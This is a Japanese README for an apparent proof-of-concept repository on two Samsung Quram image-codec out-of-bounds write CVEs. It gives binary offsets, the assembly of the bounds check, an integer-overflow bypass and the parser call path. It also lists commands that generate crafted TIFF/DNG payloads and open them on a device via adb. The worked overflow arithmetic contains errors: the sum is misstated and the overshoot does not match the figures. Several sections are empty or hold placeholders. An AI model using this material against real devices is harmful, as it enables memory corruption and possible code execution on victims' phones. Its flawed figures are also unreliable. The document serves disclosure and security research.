CVE-2026-21045 & CVE-2026-21048 — Samsung libimagecodec.quram.so OOB書き込みPoC

概要

このリポジトリには、Samsung Androidデバイスで使用されるQuramsoftイメージコーデックライブラリ (libimagecodec.quram.so) における境界外 (OOB) 書き込みの脆弱性を示す概念的なProof-of-Concept (PoC) ファイルが含まれています。

影響を受けるデバイス

• Android 14、15、16を搭載したSamsung Galaxyデバイス
• 具体的には: Galaxy Z Fold 7、Flip 7、Sシリーズ、Aシリーズ (例: A17)
• セキュリティパッチがSMR Jul-2026 Release 1より前のデバイス
• ライブラリ: /system/lib64/libimagecodec.quram.so

脆弱性のメカニズム

根本原因

この脆弱性は、IFD (Image File Directory) タグ解析関数 WINKJ_ReadExifField (64ビットバイナリ内オフセット 0x13a0a8) に存在します。この関数は、それぞれが12バイトの構造体である個々のTIFF/EXIF IFDエントリを処理します:

Offset  Size  Field
------  ----  -----
0       2     Tag ID
2       2     Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4       4     Count (number of values)
8       4     Value / Offset to data

count * element_size > 4 の場合、4バイトのValueフィールドはファイルオフセット (実際のデータが存在する場所を指す) として扱われます。その後、コードはアドレス 0x13a258 で境界チェックを実行します:

add w8, w6, w7    ; w8 = value_offset + (count * element_size)  [32-bit]
cmp w8, w5        ; compare against remaining buffer size
b.ls ok           ; if w8 <= buffer_size, proceed

整数オーバーフローによるバイパス

この脆弱性は、加算における32ビット符号なし整数オーバーフローです。攻撃者が value_offset と count * element_size の合計が小さな値にラップアラウンドするように細工すると、base + value_offset での実際のメモリアクセスが境界外であるにもかかわらず、チェックが通過します。

例 (UNDEFINEDタイプ、element_size = 1):

32ビット加算 0x17FFF + 0xFFFF0001 = 0x10008000 は 0x8000 に切り詰められ、これは buffer_size と等しくなります。チェックは通過しますが、実際のデータポインタ (base + 0x17FFF) は割り当てられたバッファの終端を0x7FFFバイト超えた位置にあります。

脆弱なコードパス

TIFFReadDirectory / WINKJ_ReadTiffInfo
  └─> WINKJ_ReadTiffIFDInfo   (allocates IFD buffer)
       └─> for each IFD entry:
            └─> WINKJ_ReadExifField   (parses entry, reads value data)
                 └─> Switch on Data Type (jump table at 0x13a15c)
                      ├─ Type 0 (BYTE/ASCII/UNDEFINED):  handler at 0x13a15c
                      ├─ Type 3/8 (SHORT/SSHORT):       handler at 0x13a1d0
                      ├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
                      └─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
                      Each handler -> reads data at offset -> bounds check at 0x13a258

PoCファイル

使用方法

# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif

# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng

# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff

期待される動作

パッチ未適用デバイス (セキュリティパッチ < 2026年7月) では、Samsung Gallery (またはQuramデコーダを使用する任意のアプリ) で細工されたTIFF/DNGファイルを開くと、ヒープメモリ破損が発生し、以下の結果につながる可能性があります:

• アプリケーションのクラッシュ (SIGSEGV/SIGABRT)
• ヒープへの境界外書き込み
• 特定のヒープレイアウト下では: 潜在的な任意のコード実行

パッチ適用済みデバイス (SMR Jul-2026+) では、画像は無効として拒否されるか、安全に処理されるべきです。完全にパッチ適用済みのデバイスでのクラッシュは、別の未パッチの問題を示している可能性があります。

バイナリ解析の詳細

ライブラリ情報

File:   libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK:    r23c (Android 21)
Built:  2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so

主要関数

ディスパッチテーブル (タグタイプ → ハンドラ)

WINKJ_ReadExifField から抽出:

element_size = 1 のすべてのタイプ (BYTE、ASCII、UNDEFINED) は同じハンドラを共有し、整数オーバーフローによるバイパスに対して同様に脆弱です。

関連CVE

免責事項

これらのProof of Conceptは、教育およびセキュリティ研究目的のみで提供されています。これらは脆弱性のメカニズムを示し、ユーザーと開発者がリスクを理解するのに役立ちます。所有していない、またはテストする明示的な許可を得ていないシステムに対して、これらを使用しないでください。

参考リンク

• https://nvd.nist.gov/vuln/detail/CVE-2026-21045
• https://nvd.nist.gov/vuln/detail/CVE-2026-21048
• https://security.samsungmobile.com/securityUpdate.smsb
• https://gitlab.com/libtiff/libtiff/-/releases/v4.6.0